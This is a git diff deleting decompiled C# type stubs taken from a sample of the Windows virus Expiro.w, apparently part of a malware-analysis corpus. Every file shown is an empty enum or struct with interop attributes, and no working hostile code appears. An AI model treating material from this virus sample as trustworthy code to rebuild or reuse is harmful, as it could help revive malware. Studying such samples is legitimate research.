a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ENLISTMENT_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ENLISTMENT_INFORMATION_CLASS.cs deleted file mode 100644 index 3992a671..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ENLISTMENT_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ENLISTMENT_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _ENLISTMENT_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_EXCEPTION_DISPOSITION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_EXCEPTION_DISPOSITION.cs deleted file mode 100644 index c9057906..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_EXCEPTION_DISPOSITION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _EXCEPTION_DISPOSITION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _EXCEPTION_DISPOSITION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_EXCEPTION_POINTERS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_EXCEPTION_POINTERS.cs deleted file mode 100644 index 7d92fe16..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_EXCEPTION_POINTERS.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _EXCEPTION_POINTERS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _EXCEPTION_POINTERS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_EXPLICIT_ACCESS_W.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_EXPLICIT_ACCESS_W.cs deleted file mode 100644 index 1b98f7d3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_EXPLICIT_ACCESS_W.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _EXPLICIT_ACCESS_W -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _EXPLICIT_ACCESS_W -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_FINDEX_INFO_LEVELS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_FINDEX_INFO_LEVELS.cs deleted file mode 100644 index 8bdcce95..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_FINDEX_INFO_LEVELS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _FINDEX_INFO_LEVELS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _FINDEX_INFO_LEVELS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_FINDEX_SEARCH_OPS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_FINDEX_SEARCH_OPS.cs deleted file mode 100644 index 554bddbe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_FINDEX_SEARCH_OPS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _FINDEX_SEARCH_OPS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _FINDEX_SEARCH_OPS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_GET_FILEEX_INFO_LEVELS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_GET_FILEEX_INFO_LEVELS.cs deleted file mode 100644 index 99ea3606..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_GET_FILEEX_INFO_LEVELS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _GET_FILEEX_INFO_LEVELS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _GET_FILEEX_INFO_LEVELS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_GPO_LINK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_GPO_LINK.cs deleted file mode 100644 index 9793c27e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_GPO_LINK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _GPO_LINK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _GPO_LINK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_GUID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_GUID.cs deleted file mode 100644 index 867d19c2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_GUID.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _GUID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[UnsafeValueType] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct _GUID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_HEAP_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_HEAP_INFORMATION_CLASS.cs deleted file mode 100644 index 5814cdd6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_HEAP_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _HEAP_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _HEAP_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_HandleType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_HandleType.cs deleted file mode 100644 index 205d7ea4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_HandleType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _HandleType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _HandleType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_IDL_CS_CONVERT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_IDL_CS_CONVERT.cs deleted file mode 100644 index 4b1a84bb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_IDL_CS_CONVERT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _IDL_CS_CONVERT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _IDL_CS_CONVERT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ITEMIDLIST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ITEMIDLIST.cs deleted file mode 100644 index 22f60058..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ITEMIDLIST.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ITEMIDLIST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[UnsafeValueType] -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 3)] -internal struct _ITEMIDLIST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_JOBOBJECTINFOCLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_JOBOBJECTINFOCLASS.cs deleted file mode 100644 index 33395265..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_JOBOBJECTINFOCLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _JOBOBJECTINFOCLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _JOBOBJECTINFOCLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KERB_LOGON_SUBMIT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KERB_LOGON_SUBMIT_TYPE.cs deleted file mode 100644 index 067a519c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KERB_LOGON_SUBMIT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KERB_LOGON_SUBMIT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _KERB_LOGON_SUBMIT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KERB_PROFILE_BUFFER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KERB_PROFILE_BUFFER_TYPE.cs deleted file mode 100644 index 4ffaf5d9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KERB_PROFILE_BUFFER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KERB_PROFILE_BUFFER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _KERB_PROFILE_BUFFER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KERB_PROTOCOL_MESSAGE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KERB_PROTOCOL_MESSAGE_TYPE.cs deleted file mode 100644 index 087e2f58..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KERB_PROTOCOL_MESSAGE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KERB_PROTOCOL_MESSAGE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _KERB_PROTOCOL_MESSAGE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KTMOBJECT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KTMOBJECT_TYPE.cs deleted file mode 100644 index 1df01473..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KTMOBJECT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KTMOBJECT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _KTMOBJECT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_LOGICAL_PROCESSOR_RELATIONSHIP.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_LOGICAL_PROCESSOR_RELATIONSHIP.cs deleted file mode 100644 index 478b0986..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_LOGICAL_PROCESSOR_RELATIONSHIP.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _LOGICAL_PROCESSOR_RELATIONSHIP -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _LOGICAL_PROCESSOR_RELATIONSHIP -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_LUID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_LUID.cs deleted file mode 100644 index 76d3360f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_LUID.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _LUID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _LUID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MANDATORY_LEVEL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MANDATORY_LEVEL.cs deleted file mode 100644 index 8484a826..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MANDATORY_LEVEL.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MANDATORY_LEVEL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _MANDATORY_LEVEL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MEDIA_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MEDIA_TYPE.cs deleted file mode 100644 index 61e40b10..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MEDIA_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MEDIA_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _MEDIA_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs deleted file mode 100644 index 977a207e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MEMORY_RESOURCE_NOTIFICATION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _MEMORY_RESOURCE_NOTIFICATION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MSV1_0_LOGON_SUBMIT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MSV1_0_LOGON_SUBMIT_TYPE.cs deleted file mode 100644 index be36bc87..00000000 --- 